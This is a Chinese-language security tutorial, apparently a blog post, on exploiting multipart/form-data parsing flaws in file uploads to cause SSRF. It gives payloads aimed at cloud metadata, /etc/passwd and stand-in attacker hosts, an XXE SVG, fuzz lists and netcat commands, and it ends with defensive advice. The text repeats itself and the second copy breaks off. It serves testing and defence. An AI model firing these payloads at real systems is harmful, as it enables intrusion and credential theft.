1. 项目概述当文件上传遇上SSRF在Web安全测试的日常里文件上传和SSRFServer-Side Request Forgery服务器端请求伪造是两个再常见不过的“老朋友”了。前者是攻击者尝试将恶意文件如Webshell传到服务器上的途径后者则是利用服务器作为“跳板”去访问或攻击内部网络资源。但你是否想过当这两个漏洞点在一个功能里“相遇”时会擦出怎样的火花这就是我们今天要深入探讨的场景一个看似标准的文件上传接口其背后处理逻辑却可能因为对用户输入的处理不当成为一个SSRF的绝佳入口。具体来说很多应用在处理文件上传时会使用multipart/form-data这种编码格式。服务器端在解析这个复杂的数据包时需要从一堆边界字符串和头部信息中准确地提取出文件名、文件内容以及其他表单字段。如果解析逻辑存在缺陷攻击者就有可能精心构造一个畸形的multipart/form-data数据包让服务器在解析“文件名”或“文件内容”字段时误将其中的URL当作需要去请求的资源地址从而触发SSRF。这种攻击方式非常隐蔽因为它完全遵循了“文件上传”这个正常业务流程的外衣却能实现“请求伪造”的内核。这篇文章就是一份从零开始的实战指南。我不会只给你一个现成的Payload然后说“拿去用”而是会带你深入理解multipart/form-data协议本身拆解服务器端可能存在的几种错误解析逻辑并一步步教你如何手动或借助工具构造出能够精准触发SSRF的畸形数据包。无论你是刚开始接触Web安全的爱好者还是想深化漏洞理解的安全工程师相信这份结合了协议原理与实战技巧的指南都能让你有所收获。我们不仅要“知其然”更要“知其所以然”明白每一个字节在请求包中的意义以及服务器是如何“误解”它们的。2. 核心漏洞原理与场景拆解2.1 multipart/form-data 协议基础再回顾要构造攻击必须先彻底理解攻击对象。multipart/form-data是HTTP协议中用于在Web表单里上传二进制文件如图片、文档的标准编码类型。它与常见的application/x-www-form-urlencoded用于普通键值对完全不同。当你提交一个带文件上传的表单时浏览器会构造一个类似这样的HTTP请求POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameavatar; filenametest.jpg Content-Type: image/jpeg (这里是图片文件的二进制数据) ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namedescription 这是一张测试图片 ------WebKitFormBoundaryABC123--我们来拆解关键部分Content-Type头声明了编码类型和边界boundary字符串。这个boundary是一串随机生成的、在请求体内容中不会出现的字符用于分隔不同的数据部分。请求体结构每个部分part都以--加上边界字符串开始。每个part包含自己的头部如Content-Disposition一个空行然后是数据体。Content-Disposition头这是核心。name对应表单字段名filename是客户端提供的原始文件名。服务器端解析器的一个重要任务就是从这一行里正确地提取出filename的值。结束标志整个请求体以--加上边界字符串再加--结束。服务器端的解析器如PHP的$_FILESJava的MultipartHttpServletRequest需要严格按照这个协议来解析。漏洞就出现在解析逻辑不够健壮的时候。2.2 SSRF如何通过文件上传触发SSRF的本质是“让服务器发送一个我们指定的请求”。在文件上传的语境下攻击思路是诱使服务器在解析上传请求时将我们注入的URL当作一个需要读取的“文件内容来源”或者将filename参数的值误当作一个需要请求的地址。常见的脆弱点有以下几种文件名解析歧义某些解析器在从Content-Disposition行提取filename时处理逻辑过于简单。例如它们可能使用字符串匹配查找filename然后截取到行尾或下一个分号。如果我们构造filenamehttp://internal-service/admin脆弱的解析器可能会将整个URL字符串当作文件名。如果后续有逻辑如文件类型检查、内容读取预览尝试去“访问”这个“文件名”就可能发起一个HTTP请求到http://internal-service/admin。文件内容被当作URL处理更常见的一种场景是应用提供了“通过URL上传”的功能。除了直接上传文件用户还可以输入一个图片URL让服务器去下载。如果这个功能与普通文件上传共用后端处理逻辑并且对输入校验不严就可能出问题。攻击者可以在普通文件上传的multipart包中在文件内容区域直接填入一个URL或者篡改某个字段让服务器误以为这是一个需要抓取的URL地址。解析器自身漏洞一些编程语言或框架的multipart解析库历史上存在漏洞可能因特定的畸形边界、字符编码或头部注入导致解析流程错乱从而将数据的一部分解释为新的请求头或指令。这类漏洞通常需要更精细的Payload。在本指南中我们将重点聚焦于前两种尤其是第一种“利用文件名解析缺陷”的场景因为它更普遍且对理解协议和构造Payload的要求更高。2.3 典型攻击场景与影响想象一下这些场景场景A一个社交网站的头像上传功能。上传后服务器会尝试生成缩略图。如果缩略图生成库支持从URL读取图片比如ImageMagick的identify或convert命令而文件名被直接传递给了这个库那么filenamehttp://169.254.169.254/latest/meta-data/就可能让服务器向AWS的元数据服务发起请求泄露云主机的敏感信息。场景B一个企业内部的文件管理应用。上传文档后应用有一个“文档预览”功能会调用后端服务去读取文件内容。如果该服务支持file://协议且文件名被部分拼接进请求路径那么filename../../../../etc/passwd或filenamefile:///etc/passwd就可能导致本地文件读取LFI这可以看作是SSRF的一种特殊形式对本地资源的伪造请求。场景C一个CMS系统的插件/主题上传。上传后系统会检查文件有效性其中一步可能是获取文件的MIME类型。如果检查逻辑是调用系统命令如file -bi [文件名]并且文件名未经过滤那么注入命令或URL就可能造成远程代码执行RCE或SSRF。这些场景的共同点是文件上传路径中存在一个“信任”了用户可控输入尤其是文件名的环节并将该输入传递给了某个会发起网络请求或系统调用的函数/库/服务。我们的攻击包构造就是要最大化地利用这种“信任”。3. 手动构造攻击数据包从理解到创造理解了原理我们开始动手。完全手动构造一个multipart/form-data请求能让你对每个字节的作用了如指掌。我们使用nc(Netcat) 或telnet进行原始HTTP请求但更推荐在熟悉后用Burp Suite等工具提高效率。3.1 确定攻击目标与测试端点假设我们有一个目标http://vuln-app.com/upload.php。我们通过正常上传用Burp Suite抓包得到了一个合法的请求模板POST /upload.php HTTP/1.1 Host: vuln-app.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryz7u8i9o0p Content-Length: 123456 ------WebKitFormBoundaryz7u8i9o0p Content-Disposition: form-data; namefile; filenamenormal.jpg Content-Type: image/jpeg ...JPEG数据... ------WebKitFormBoundaryz7u8i9o0p Content-Disposition: form-data; namesubmit Upload ------WebKitFormBoundaryz7u8i9o0p--我们的目标是修改这个请求包使其触发SSRF。3.2 关键点畸形的Content-Disposition构造第一种攻击手法针对文件名解析。我们需要让服务器错误地解析filename参数。技巧一换行符注入CRLF Injection在HTTP头部中\r\nCRLF表示一行的结束。如果解析器在解析Content-Disposition时是逐行读取并查找filename那么我们可以尝试在filename值中注入CRLF来提前结束当前头部并注入新的恶意HTTP头。尝试构造这样的Part------WebKitFormBoundaryz7u8i9o0p Content-Disposition: form-data; namefile; filenametest.jpg\r\nContent-Type: text/html\r\n\r\nscriptalert(1)/script Content-Type: image/jpeg (正常的文件内容)如果服务器解析器脆弱它可能会将filename解析为test.jpg但随后因为遇到了\r\n认为Content-Disposition行结束。后面注入的Content-Type头和空行及数据可能会被当作一个新的Part或响应体的一部分处理具体效果取决于解析器。虽然这更常用于HTTP响应拆分或XSS但在某些复杂的解析链中也可能干扰对后续内容的判断诱导SSRF。技巧二利用filename值包含完整URL这是更直接针对SSRF的尝试。我们直接将filename设置为一个URL------WebKitFormBoundaryz7u8i9o0p Content-Disposition: form-data; namefile; filenamehttp://attacker-controlled.com/ssrf.jpg Content-Type: image/jpeg (这里可以放少量合法的JPEG文件头如FF D8 FF E0以通过基础的文件头检查)然后我们需要在attacker-controlled.com服务器上监听80端口查看是否有来自vuln-app.com服务器的请求。如果服务器有某个环节如病毒扫描、内容识别、缩略图生成尝试去“访问”这个文件名我们就能收到请求。为了增加成功率可以尝试多种协议和格式filenamehttp://169.254.169.254/latest/meta-data/filenamefile:///etc/passwdfilenamegopher://internal-mysql:3306/_(需编码)filenamedict://internal-redis:6379/INFO技巧三参数污染与重复字段multipart协议允许同一个name有多个部分吗标准并未明确禁止但许多解析器可能只取第一个或最后一个。我们可以尝试发送两个namefile的部分第一部分 filenamenormal.jpg 正常图片内容 第二部分 filenamehttp://evil.com/ssrf 任意内容或者在一个Part的Content-Disposition中提供多个filename参数Content-Disposition: form-data; namefile; filenamenormal.jpg; filenamehttp://evil.com/ssrf不同的解析器在处理这种畸形情况时行为可能不一致可能引发错误或意外地使用第二个filename值。3.3 构造数据包并发送手动构造时最麻烦的是计算Content-Length。每个字符包括空格、换行都要算进去。一个错误就会导致服务器无法正确解析整个请求体。步骤准备好你的请求体文本包括边界和所有部分。使用文本编辑器如VS Code或命令行工具如wc -c在Linux上精确计算请求体的字节数。注意换行符在Windows上是\r\n2字节在Linux/HTTP标准中是\r\n确保你计算时使用的是正确的换行符。通常我们按\r\n2字节计算。将计算出的数字填入Content-Length头。使用Netcat发送printf POST /upload.php HTTP/1.1\r\nHost: vuln-app.com\r\nContent-Type: multipart/form-data; boundary----WebKitFormBoundaryz7u8i9o0p\r\nContent-Length: YOUR_CALCULATED_LENGTH\r\n\r\n request.txt cat your_request_body.txt request.txt nc vuln-app.com 80 request.txt或者使用telnet逐行粘贴不推荐易错。注意手动计算Content-Length极易出错尤其是在Payload复杂时。这是手动构造最大的痛点。在实际测试中强烈建议在Burp Suite的Repeater模块中修改原始请求由工具自动计算长度这会高效准确得多。手动构造的价值在于学习和理解底层细节。4. 利用Burp Suite高效构造与测试对于实战Burp Suite是不可或缺的神器。它不仅能自动处理Content-Length还提供了强大的修改、重放和测试功能。4.1 抓取与修改原始请求配置浏览器代理访问目标上传功能完成一次正常上传在Burp的Proxy - HTTP history中抓到这个请求。右键请求选择“Send to Repeater”。在Repeater标签页中你可以直接修改请求体。找到filenamenormal.jpg这一处将其替换为你的SSRF Payload例如filenamehttp://your-burp-collaborator-domain/。Burp Collaborator是一个用于接收带外OOB请求的服务非常适合检测盲SSRF。点击“Send”发送请求。观察响应。如果响应中出现了错误信息、超时或者你的Collaborator收到了来自目标服务器的请求都可能是成功的信号。4.2 使用Intruder进行模糊测试Fuzzing如果直接替换不成功可能是解析逻辑有特定要求。我们可以对filename字段进行模糊测试。在Repeater中将filename的值用§符号标记起来如filename§test.jpg§。右键请求选择“Send to Intruder”。在Intruder的Positions标签页确保只有你标记的filename参数被设置为Payload位置。切换到Payloads标签页。这里我们可以加载一个预定义的SSRF Fuzz字典或者自己构造。一个基本的字典可以包含各种协议前缀http://,https://,file://,gopher://,dict://,ftp://常见内网IP和端口169.254.169.254,127.0.0.1:8080,192.168.1.1,10.0.0.1本地文件路径../../../../etc/passwd,c:\\windows\\win.ini畸形的分隔符和引号filenametest.jpg;,filenametest.jpg,filenametest.jpg\r\n编码后的PayloadURL编码、双重URL编码等。开始攻击。Intruder会使用每个Payload替换filename的值并发送请求。你需要根据响应长度、状态码、以及是否触发Collaborator回调来判断哪些Payload是有效的。4.3 处理编码与特殊字符在构造Payload时经常需要处理特殊字符空格和引号如果filename值被引号包裹内部的引号需要转义如filenametest\.jpg或者不使用引号filenametest.jpg。不同的解析器处理方式不同都需要测试。URL编码如果服务器端会对filename进行URL解码那么我们可以注入编码后的CRLF%0d%0a或其他特殊字符。例如filenametest.jpg%0d%0aInjected-Header: value。Unicode/UTF-8尝试使用非常规字符或编码可能绕过某些基于黑名单的过滤器。在Burp中你可以使用CtrlU对选中的文本进行URL编码CtrlShiftU进行解码非常方便。5. 进阶技巧与绕过思路直接注入URL可能被WAF或简单的正则过滤拦截。以下是一些进阶的绕过思路5.1 利用解析差异filename与filename*Content-Disposition头定义了一个扩展参数filename*用于支持RFC 5987中规定的国际化文件名使用编码。格式如filename*UTF-8%E6%B5%8B%E8%AF%95.jpg。有些解析器可能会优先处理filename*如果filename和filename*同时存在。我们可以尝试构造Content-Disposition: form-data; namefile; filenamenormal.jpg; filename*UTF-8http://evil.com/ssrf看看服务器是否会更倾向于使用filename*的值。5.2 嵌套Boundary与边界混淆理论上边界字符串在请求体内应该是唯一的。但如果服务器解析器存在逻辑缺陷我们可以尝试构造嵌套或混淆的边界。在文件内容区域插入与主边界相似的字符串。或者在一个Part的数据部分提前结束当前Part使用--边界然后开始一个新的Part但这个新Part的头部是畸形的旨在干扰解析器。这种攻击非常复杂需要对目标解析库有深入了解通常用于攻击特定的解析器漏洞如某些旧版本库的CVE而非通用的逻辑缺陷。5.3 结合其他漏洞XXE与SVG上传如果上传功能允许SVG矢量图文件而服务器会解析SVG内容那么可以尝试将SSRF Payload嵌入SVG的XML中利用XXEXML外部实体注入来触发SSRF。 一个简单的恶意SVG文件内容?xml version1.0 standaloneyes? !DOCTYPE test [ !ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/ ] svg width100px height100px xmlnshttp://www.w3.org/2000/svg version1.1 text font-size16 x0 y16xxe;/text /svg将以上内容保存为.svg文件上传。如果服务器端的XML解析器没有禁用外部实体并且会处理上传的SVG文件例如检查其尺寸、属性就可能发起SSRF请求。这不再是利用multipart解析漏洞而是利用了文件内容处理阶段的XXE漏洞是另一种常见的“文件上传导致SSRF”的组合拳。6. 漏洞验证与影响证明成功触发SSRF只是第一步如何证明其危害性Proof of Concept, PoC同样重要。6.1 盲SSRF的检测OOB技术对于没有回显的盲SSRF我们必须借助带外Out-Of-Band, OOB通道来确认漏洞存在。Burp Collaborator这是最方便的工具。在Payload中使用你的Collaborator子域名如http://xxxxxx.oastify.com。如果目标服务器尝试访问该URLBurp Suite的Collaborator客户端会立即收到通知并显示详细的HTTP/DNS请求日志。自建OOB服务器你可以使用nc -lvp 80在公网服务器上监听80端口或者在服务器上运行一个简单的HTTP服务如python3 -m http.server 80然后在Payload中使用你的服务器IP。查看服务器访问日志即可。DNS回显有些环境可能限制HTTP出网但DNS查询可能被允许。可以尝试使用DNS格式的Payload如http://your-subdomain.attacker.com并在你的域名DNS解析商处查看查询日志。6.2 有回显SSRF的利用如果服务器的响应中包含了目标URL的响应内容例如上传后页面显示了远程图片或者错误信息中包含了请求结果那么利用起来就直观得多。探测内网服务使用常见的内部IP段10.0.0.0/8,172.16.0.0/12,192.168.0.0/16和端口尝试访问已知的管理界面、API接口如/api,/admin、数据库服务3306,6379,5432端口等。访问元数据服务在云环境中这是重中之重。AWS:http://169.254.169.254/latest/meta-data/Google Cloud:http://metadata.google.internal/computeMetadata/v1/Azure:http://169.254.169.254/metadata/instanceAlibaba Cloud:http://100.100.100.200/latest/meta-data/读取本地文件使用file://协议如果允许尝试读取系统文件如/etc/passwd,/proc/self/environ, 应用配置文件等。6.3 编写可靠的PoC脚本为了在漏洞报告或自动化测试中提供清晰的证明可以编写一个简单的PoC脚本。以下是一个Python示例使用requests库的files参数模拟文件上传但手动构造了畸形的filenameimport requests target_url http://vuln-app.com/upload.php collaborator_url http://your-subdomain.oastify.com # 注意requests库的files参数会自动构造multipart但filename是它控制的。 # 为了注入我们需要手动构造请求体或者使用更底层的工具。 # 这里演示一个使用requests-toolbelt来部分自定义的方法非标准注入仅示意思路 from requests_toolbelt.multipart.encoder import MultipartEncoder # 创建一个自定义的multipart编码器尝试设置filename字段 fields { file: (filename collaborator_url , bfake image content, image/jpeg), submit: Upload } m MultipartEncoder(fieldsfields, boundary----WebKitFormBoundaryz7u8i9o0p) headers { Content-Type: m.content_type, } # 实际上requests-toolbelt会对filename进行编码可能破坏我们的注入。 # 因此对于复杂的SSRF filename注入最可靠的方式是直接发送原始HTTP请求。 # 可以使用 requests.post(url, datam, headersheaders)但可能不成功。 print(此脚本仅示意。对于精确的filename注入建议直接使用Burp Suite或手动构造原始请求。)更可靠的方法是使用http.client或socket库直接发送精心构造的原始HTTP请求数据包。7. 防御措施与安全开发建议作为开发者如何避免自己的应用落入此类陷阱永远不要信任客户端提交的文件名filename参数完全由用户控制必须视为不可信数据。不要用它直接进行文件系统操作如保存路径、传递给系统命令或网络请求函数。使用白名单校验文件扩展名和MIME类型不要依赖Content-Type头它也是客户端可控的。服务器端应读取文件内容的魔术字节Magic Bytes来判断真实类型并且只允许安全的扩展名如.jpg,.png,.pdf。对上传文件重命名使用服务器生成的随机文件名如UUID保存文件完全丢弃客户端提供的原始文件名。如果需要记录原始名应将其存入数据库并在使用时进行严格的输出编码。将文件服务置于非Web根目录上传的文件应保存在Web服务器无法直接访问的目录。通过一个专门的脚本如download.php?idxxx来安全地读取和提供文件该脚本应进行权限和所有权检查。禁用危险的文件处理功能如果应用需要处理用户上传的文件如文档转换、图片处理确保使用的库如ImageMagick、FFmpeg已更新到最新版本并配置了安全策略如禁用危险编解码器、设置资源限制。避免将用户控制的文件名或文件路径直接传递给这些库的命令行。实施网络层隔离运行应用的服务器应处于严格的内网环境中限制其向外发起请求的能力使用防火墙策略。对于必须访问外部资源的服务应使用固定的、受允许的出口IP和域名白名单。对用户输入进行严格的标准化和验证在解析multipart数据时使用成熟、经过安全审计的库如语言标准库或广泛使用的第三方库并保持库的更新。对解析出的所有字段包括filename进行严格的字符过滤和长度限制。从攻击者的视角理解这些漏洞最终是为了更好地构建防御。在代码审查和渗透测试中重点关注任何将用户控制的文件名与文件系统访问、网络请求、系统命令执行关联起来的代码路径这往往是SSRF和相关漏洞的藏身之处。
文件上传漏洞与SSRF攻击:multipart/form-data解析缺陷实战分析
发布时间:2026/6/20 18:48:46
1. 项目概述当文件上传遇上SSRF在Web安全测试的日常里文件上传和SSRFServer-Side Request Forgery服务器端请求伪造是两个再常见不过的“老朋友”了。前者是攻击者尝试将恶意文件如Webshell传到服务器上的途径后者则是利用服务器作为“跳板”去访问或攻击内部网络资源。但你是否想过当这两个漏洞点在一个功能里“相遇”时会擦出怎样的火花这就是我们今天要深入探讨的场景一个看似标准的文件上传接口其背后处理逻辑却可能因为对用户输入的处理不当成为一个SSRF的绝佳入口。具体来说很多应用在处理文件上传时会使用multipart/form-data这种编码格式。服务器端在解析这个复杂的数据包时需要从一堆边界字符串和头部信息中准确地提取出文件名、文件内容以及其他表单字段。如果解析逻辑存在缺陷攻击者就有可能精心构造一个畸形的multipart/form-data数据包让服务器在解析“文件名”或“文件内容”字段时误将其中的URL当作需要去请求的资源地址从而触发SSRF。这种攻击方式非常隐蔽因为它完全遵循了“文件上传”这个正常业务流程的外衣却能实现“请求伪造”的内核。这篇文章就是一份从零开始的实战指南。我不会只给你一个现成的Payload然后说“拿去用”而是会带你深入理解multipart/form-data协议本身拆解服务器端可能存在的几种错误解析逻辑并一步步教你如何手动或借助工具构造出能够精准触发SSRF的畸形数据包。无论你是刚开始接触Web安全的爱好者还是想深化漏洞理解的安全工程师相信这份结合了协议原理与实战技巧的指南都能让你有所收获。我们不仅要“知其然”更要“知其所以然”明白每一个字节在请求包中的意义以及服务器是如何“误解”它们的。2. 核心漏洞原理与场景拆解2.1 multipart/form-data 协议基础再回顾要构造攻击必须先彻底理解攻击对象。multipart/form-data是HTTP协议中用于在Web表单里上传二进制文件如图片、文档的标准编码类型。它与常见的application/x-www-form-urlencoded用于普通键值对完全不同。当你提交一个带文件上传的表单时浏览器会构造一个类似这样的HTTP请求POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameavatar; filenametest.jpg Content-Type: image/jpeg (这里是图片文件的二进制数据) ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namedescription 这是一张测试图片 ------WebKitFormBoundaryABC123--我们来拆解关键部分Content-Type头声明了编码类型和边界boundary字符串。这个boundary是一串随机生成的、在请求体内容中不会出现的字符用于分隔不同的数据部分。请求体结构每个部分part都以--加上边界字符串开始。每个part包含自己的头部如Content-Disposition一个空行然后是数据体。Content-Disposition头这是核心。name对应表单字段名filename是客户端提供的原始文件名。服务器端解析器的一个重要任务就是从这一行里正确地提取出filename的值。结束标志整个请求体以--加上边界字符串再加--结束。服务器端的解析器如PHP的$_FILESJava的MultipartHttpServletRequest需要严格按照这个协议来解析。漏洞就出现在解析逻辑不够健壮的时候。2.2 SSRF如何通过文件上传触发SSRF的本质是“让服务器发送一个我们指定的请求”。在文件上传的语境下攻击思路是诱使服务器在解析上传请求时将我们注入的URL当作一个需要读取的“文件内容来源”或者将filename参数的值误当作一个需要请求的地址。常见的脆弱点有以下几种文件名解析歧义某些解析器在从Content-Disposition行提取filename时处理逻辑过于简单。例如它们可能使用字符串匹配查找filename然后截取到行尾或下一个分号。如果我们构造filenamehttp://internal-service/admin脆弱的解析器可能会将整个URL字符串当作文件名。如果后续有逻辑如文件类型检查、内容读取预览尝试去“访问”这个“文件名”就可能发起一个HTTP请求到http://internal-service/admin。文件内容被当作URL处理更常见的一种场景是应用提供了“通过URL上传”的功能。除了直接上传文件用户还可以输入一个图片URL让服务器去下载。如果这个功能与普通文件上传共用后端处理逻辑并且对输入校验不严就可能出问题。攻击者可以在普通文件上传的multipart包中在文件内容区域直接填入一个URL或者篡改某个字段让服务器误以为这是一个需要抓取的URL地址。解析器自身漏洞一些编程语言或框架的multipart解析库历史上存在漏洞可能因特定的畸形边界、字符编码或头部注入导致解析流程错乱从而将数据的一部分解释为新的请求头或指令。这类漏洞通常需要更精细的Payload。在本指南中我们将重点聚焦于前两种尤其是第一种“利用文件名解析缺陷”的场景因为它更普遍且对理解协议和构造Payload的要求更高。2.3 典型攻击场景与影响想象一下这些场景场景A一个社交网站的头像上传功能。上传后服务器会尝试生成缩略图。如果缩略图生成库支持从URL读取图片比如ImageMagick的identify或convert命令而文件名被直接传递给了这个库那么filenamehttp://169.254.169.254/latest/meta-data/就可能让服务器向AWS的元数据服务发起请求泄露云主机的敏感信息。场景B一个企业内部的文件管理应用。上传文档后应用有一个“文档预览”功能会调用后端服务去读取文件内容。如果该服务支持file://协议且文件名被部分拼接进请求路径那么filename../../../../etc/passwd或filenamefile:///etc/passwd就可能导致本地文件读取LFI这可以看作是SSRF的一种特殊形式对本地资源的伪造请求。场景C一个CMS系统的插件/主题上传。上传后系统会检查文件有效性其中一步可能是获取文件的MIME类型。如果检查逻辑是调用系统命令如file -bi [文件名]并且文件名未经过滤那么注入命令或URL就可能造成远程代码执行RCE或SSRF。这些场景的共同点是文件上传路径中存在一个“信任”了用户可控输入尤其是文件名的环节并将该输入传递给了某个会发起网络请求或系统调用的函数/库/服务。我们的攻击包构造就是要最大化地利用这种“信任”。3. 手动构造攻击数据包从理解到创造理解了原理我们开始动手。完全手动构造一个multipart/form-data请求能让你对每个字节的作用了如指掌。我们使用nc(Netcat) 或telnet进行原始HTTP请求但更推荐在熟悉后用Burp Suite等工具提高效率。3.1 确定攻击目标与测试端点假设我们有一个目标http://vuln-app.com/upload.php。我们通过正常上传用Burp Suite抓包得到了一个合法的请求模板POST /upload.php HTTP/1.1 Host: vuln-app.com Content-Type: multipart/form-data; boundary----WebKitFormBoundaryz7u8i9o0p Content-Length: 123456 ------WebKitFormBoundaryz7u8i9o0p Content-Disposition: form-data; namefile; filenamenormal.jpg Content-Type: image/jpeg ...JPEG数据... ------WebKitFormBoundaryz7u8i9o0p Content-Disposition: form-data; namesubmit Upload ------WebKitFormBoundaryz7u8i9o0p--我们的目标是修改这个请求包使其触发SSRF。3.2 关键点畸形的Content-Disposition构造第一种攻击手法针对文件名解析。我们需要让服务器错误地解析filename参数。技巧一换行符注入CRLF Injection在HTTP头部中\r\nCRLF表示一行的结束。如果解析器在解析Content-Disposition时是逐行读取并查找filename那么我们可以尝试在filename值中注入CRLF来提前结束当前头部并注入新的恶意HTTP头。尝试构造这样的Part------WebKitFormBoundaryz7u8i9o0p Content-Disposition: form-data; namefile; filenametest.jpg\r\nContent-Type: text/html\r\n\r\nscriptalert(1)/script Content-Type: image/jpeg (正常的文件内容)如果服务器解析器脆弱它可能会将filename解析为test.jpg但随后因为遇到了\r\n认为Content-Disposition行结束。后面注入的Content-Type头和空行及数据可能会被当作一个新的Part或响应体的一部分处理具体效果取决于解析器。虽然这更常用于HTTP响应拆分或XSS但在某些复杂的解析链中也可能干扰对后续内容的判断诱导SSRF。技巧二利用filename值包含完整URL这是更直接针对SSRF的尝试。我们直接将filename设置为一个URL------WebKitFormBoundaryz7u8i9o0p Content-Disposition: form-data; namefile; filenamehttp://attacker-controlled.com/ssrf.jpg Content-Type: image/jpeg (这里可以放少量合法的JPEG文件头如FF D8 FF E0以通过基础的文件头检查)然后我们需要在attacker-controlled.com服务器上监听80端口查看是否有来自vuln-app.com服务器的请求。如果服务器有某个环节如病毒扫描、内容识别、缩略图生成尝试去“访问”这个文件名我们就能收到请求。为了增加成功率可以尝试多种协议和格式filenamehttp://169.254.169.254/latest/meta-data/filenamefile:///etc/passwdfilenamegopher://internal-mysql:3306/_(需编码)filenamedict://internal-redis:6379/INFO技巧三参数污染与重复字段multipart协议允许同一个name有多个部分吗标准并未明确禁止但许多解析器可能只取第一个或最后一个。我们可以尝试发送两个namefile的部分第一部分 filenamenormal.jpg 正常图片内容 第二部分 filenamehttp://evil.com/ssrf 任意内容或者在一个Part的Content-Disposition中提供多个filename参数Content-Disposition: form-data; namefile; filenamenormal.jpg; filenamehttp://evil.com/ssrf不同的解析器在处理这种畸形情况时行为可能不一致可能引发错误或意外地使用第二个filename值。3.3 构造数据包并发送手动构造时最麻烦的是计算Content-Length。每个字符包括空格、换行都要算进去。一个错误就会导致服务器无法正确解析整个请求体。步骤准备好你的请求体文本包括边界和所有部分。使用文本编辑器如VS Code或命令行工具如wc -c在Linux上精确计算请求体的字节数。注意换行符在Windows上是\r\n2字节在Linux/HTTP标准中是\r\n确保你计算时使用的是正确的换行符。通常我们按\r\n2字节计算。将计算出的数字填入Content-Length头。使用Netcat发送printf POST /upload.php HTTP/1.1\r\nHost: vuln-app.com\r\nContent-Type: multipart/form-data; boundary----WebKitFormBoundaryz7u8i9o0p\r\nContent-Length: YOUR_CALCULATED_LENGTH\r\n\r\n request.txt cat your_request_body.txt request.txt nc vuln-app.com 80 request.txt或者使用telnet逐行粘贴不推荐易错。注意手动计算Content-Length极易出错尤其是在Payload复杂时。这是手动构造最大的痛点。在实际测试中强烈建议在Burp Suite的Repeater模块中修改原始请求由工具自动计算长度这会高效准确得多。手动构造的价值在于学习和理解底层细节。4. 利用Burp Suite高效构造与测试对于实战Burp Suite是不可或缺的神器。它不仅能自动处理Content-Length还提供了强大的修改、重放和测试功能。4.1 抓取与修改原始请求配置浏览器代理访问目标上传功能完成一次正常上传在Burp的Proxy - HTTP history中抓到这个请求。右键请求选择“Send to Repeater”。在Repeater标签页中你可以直接修改请求体。找到filenamenormal.jpg这一处将其替换为你的SSRF Payload例如filenamehttp://your-burp-collaborator-domain/。Burp Collaborator是一个用于接收带外OOB请求的服务非常适合检测盲SSRF。点击“Send”发送请求。观察响应。如果响应中出现了错误信息、超时或者你的Collaborator收到了来自目标服务器的请求都可能是成功的信号。4.2 使用Intruder进行模糊测试Fuzzing如果直接替换不成功可能是解析逻辑有特定要求。我们可以对filename字段进行模糊测试。在Repeater中将filename的值用§符号标记起来如filename§test.jpg§。右键请求选择“Send to Intruder”。在Intruder的Positions标签页确保只有你标记的filename参数被设置为Payload位置。切换到Payloads标签页。这里我们可以加载一个预定义的SSRF Fuzz字典或者自己构造。一个基本的字典可以包含各种协议前缀http://,https://,file://,gopher://,dict://,ftp://常见内网IP和端口169.254.169.254,127.0.0.1:8080,192.168.1.1,10.0.0.1本地文件路径../../../../etc/passwd,c:\\windows\\win.ini畸形的分隔符和引号filenametest.jpg;,filenametest.jpg,filenametest.jpg\r\n编码后的PayloadURL编码、双重URL编码等。开始攻击。Intruder会使用每个Payload替换filename的值并发送请求。你需要根据响应长度、状态码、以及是否触发Collaborator回调来判断哪些Payload是有效的。4.3 处理编码与特殊字符在构造Payload时经常需要处理特殊字符空格和引号如果filename值被引号包裹内部的引号需要转义如filenametest\.jpg或者不使用引号filenametest.jpg。不同的解析器处理方式不同都需要测试。URL编码如果服务器端会对filename进行URL解码那么我们可以注入编码后的CRLF%0d%0a或其他特殊字符。例如filenametest.jpg%0d%0aInjected-Header: value。Unicode/UTF-8尝试使用非常规字符或编码可能绕过某些基于黑名单的过滤器。在Burp中你可以使用CtrlU对选中的文本进行URL编码CtrlShiftU进行解码非常方便。5. 进阶技巧与绕过思路直接注入URL可能被WAF或简单的正则过滤拦截。以下是一些进阶的绕过思路5.1 利用解析差异filename与filename*Content-Disposition头定义了一个扩展参数filename*用于支持RFC 5987中规定的国际化文件名使用编码。格式如filename*UTF-8%E6%B5%8B%E8%AF%95.jpg。有些解析器可能会优先处理filename*如果filename和filename*同时存在。我们可以尝试构造Content-Disposition: form-data; namefile; filenamenormal.jpg; filename*UTF-8http://evil.com/ssrf看看服务器是否会更倾向于使用filename*的值。5.2 嵌套Boundary与边界混淆理论上边界字符串在请求体内应该是唯一的。但如果服务器解析器存在逻辑缺陷我们可以尝试构造嵌套或混淆的边界。在文件内容区域插入与主边界相似的字符串。或者在一个Part的数据部分提前结束当前Part使用--边界然后开始一个新的Part但这个新Part的头部是畸形的旨在干扰解析器。这种攻击非常复杂需要对目标解析库有深入了解通常用于攻击特定的解析器漏洞如某些旧版本库的CVE而非通用的逻辑缺陷。5.3 结合其他漏洞XXE与SVG上传如果上传功能允许SVG矢量图文件而服务器会解析SVG内容那么可以尝试将SSRF Payload嵌入SVG的XML中利用XXEXML外部实体注入来触发SSRF。 一个简单的恶意SVG文件内容?xml version1.0 standaloneyes? !DOCTYPE test [ !ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/ ] svg width100px height100px xmlnshttp://www.w3.org/2000/svg version1.1 text font-size16 x0 y16xxe;/text /svg将以上内容保存为.svg文件上传。如果服务器端的XML解析器没有禁用外部实体并且会处理上传的SVG文件例如检查其尺寸、属性就可能发起SSRF请求。这不再是利用multipart解析漏洞而是利用了文件内容处理阶段的XXE漏洞是另一种常见的“文件上传导致SSRF”的组合拳。6. 漏洞验证与影响证明成功触发SSRF只是第一步如何证明其危害性Proof of Concept, PoC同样重要。6.1 盲SSRF的检测OOB技术对于没有回显的盲SSRF我们必须借助带外Out-Of-Band, OOB通道来确认漏洞存在。Burp Collaborator这是最方便的工具。在Payload中使用你的Collaborator子域名如http://xxxxxx.oastify.com。如果目标服务器尝试访问该URLBurp Suite的Collaborator客户端会立即收到通知并显示详细的HTTP/DNS请求日志。自建OOB服务器你可以使用nc -lvp 